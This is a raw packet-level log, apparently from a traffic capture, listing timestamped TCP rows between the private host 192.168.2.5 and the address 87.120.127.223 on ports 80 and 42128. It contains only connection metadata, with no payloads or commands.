Oct 15, 2024 19:22:14.726082087 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.726094961 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.726133108 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.726139069 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.726155996 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.726192951 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.726346016 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.726460934 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.726515055 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.749490023 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.749532938 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.749550104 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.749577045 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.749583006 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.749599934 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.749624014 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.749631882 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.749644995 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.749669075 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.749675035 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.749707937 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.749721050 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.749725103 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.749767065 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.750209093 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.750242949 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.750267029 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.750279903 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.750289917 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.750353098 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.752367020 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.752401114 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.752420902 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.752453089 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.752549887 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.752567053 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.752618074 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.752648115 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.752670050 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.752695084 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.752829075 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.752844095 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.752872944 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.752878904 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.752892971 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.752918959 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.752928019 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.752974987 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.753134012 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.753192902 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.753211975 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.753237009 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.753240108 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.753257990 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.753283024 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.753283978 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.753317118 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.753333092 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.753336906 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.753364086 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.753376961 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.753380060 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.753420115 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.756879091 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:14.762361050 CEST	80	49705	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:14.762419939 CEST	49705	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:16.299645901 CEST	49706	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:16.304542065 CEST	42128	49706	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:16.555665970 CEST	42128	49706	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:16.555886030 CEST	49706	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:16.560856104 CEST	42128	49706	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:16.902327061 CEST	42128	49706	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:16.902375937 CEST	42128	49706	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:16.902395964 CEST	42128	49706	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:16.902420044 CEST	42128	49706	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:16.902436972 CEST	42128	49706	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:16.902445078 CEST	49706	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:16.902471066 CEST	42128	49706	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:16.902493954 CEST	49706	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:16.902502060 CEST	42128	49706	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:16.902520895 CEST	42128	49706	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:16.902679920 CEST	49706	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:16.902679920 CEST	49706	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:19.747018099 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:19.752055883 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:19.752145052 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:19.753204107 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:19.758095980 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.613224983 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.613241911 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.613275051 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.613311052 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.613316059 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:20.613326073 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.613353014 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.613373041 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:20.613435030 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.613440037 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:20.613470078 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.613485098 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.613581896 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.613858938 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:20.618221045 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.618267059 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.618289948 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.618309021 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.618319035 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:20.618390083 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:20.733398914 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.738653898 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.738740921 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.738760948 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.738776922 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:20.738830090 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.738847971 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.738872051 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.738879919 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:20.738924980 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:20.739123106 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.739173889 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:20.739177942 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.739193916 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.739223003 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.739635944 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.739677906 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:20.739689112 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.739710093 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.739790916 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.739810944 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.739818096 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:20.740205050 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:20.740322113 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.740362883 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.740381956 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.740480900 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.740499020 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.740525007 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.740525961 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:20.740582943 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:20.743691921 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.743746996 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.743817091 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:20.865262985 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.865315914 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.865336895 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.865413904 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.865427971 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.865448952 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:20.865458965 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.865482092 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:20.865514040 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.865581036 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:20.865592957 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.865612030 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.865678072 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.865695953 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:20.865730047 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:20.865768909 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.865874052 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.865895987 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.866034031 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:20.866264105 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.866283894 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.866312027 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.866329908 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.866337061 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:20.866358042 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:20.866498947 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.866513968 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.866542101 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.866563082 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.866574049 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:20.866704941 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:20.866720915 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.866760969 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.866770029 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:20.866775036 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.866888046 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.866908073 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.866918087 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:20.867121935 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:20.867146015 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.867176056 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.867196083 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.867243052 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:20.867314100 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.867328882 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.867487907 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:20.989253998 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.989276886 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.989301920 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.989321947 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.989331961 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:20.989367008 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.989384890 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.989393950 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:20.989537954 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:20.994020939 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.994054079 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.994072914 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.994142056 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:20.994163990 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.994194984 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.994214058 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.994223118 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:20.994240999 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.994270086 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:20.994297981 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.994396925 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.994415045 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.994438887 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.994467974 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:20.994467974 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:20.994596958 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.994642019 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.994657040 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.994672060 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:20.994700909 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:20.994724989 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.994740009 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.994863033 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:20.994967937 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.995033026 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.995048046 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.995162964 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.995178938 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.995193958 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:20.995208025 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.995229006 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.995233059 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:20.995313883 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.995326042 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.995342016 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:20.995619059 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:20.995644093 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.995728970 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.995743036 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.995749950 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:20.995791912 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.995806932 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:20.995893955 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.113903046 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.113950968 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.113979101 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.114001989 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.114012957 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.114022970 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.114046097 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.114074945 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.114305973 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.119256973 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.119293928 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.119314909 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.119340897 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.119369984 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.119505882 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.119522095 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.119549990 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.119582891 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.119582891 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.119632959 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.119652033 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.119680882 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.119772911 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.119796038 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.119816065 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.119826078 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.119842052 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.119873047 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.120012999 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.120045900 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.120059967 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.120074034 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.120181084 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.120196104 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.120210886 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.120285034 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.120294094 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.120306015 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.120464087 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.120480061 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.120495081 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.120538950 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.120553970 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.120553970 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.120584965 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.120613098 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.121002913 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.121018887 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.121048927 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.121072054 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.121098042 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.124013901 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.124028921 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.124135017 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.161359072 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.161407948 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.161444902 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.213459969 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.238115072 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.238203049 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.238224983 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.238245010 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.238262892 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.238377094 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.238389015 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.238408089 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.238759041 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.243308067 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.243340015 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.243366003 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.243392944 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.243396044 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.243443012 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.243463993 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.243475914 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.243572950 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.243585110 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.243607044 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.243658066 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.243743896 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.243763924 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.243843079 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.243860960 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.243880987 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.243948936 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.243980885 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.244080067 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.244132996 CEST	49721	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:21.244139910 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.244163990 CEST	80	49721	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:21.244232893 CEST	80	49721	87.120.127.223	192.168.2.5
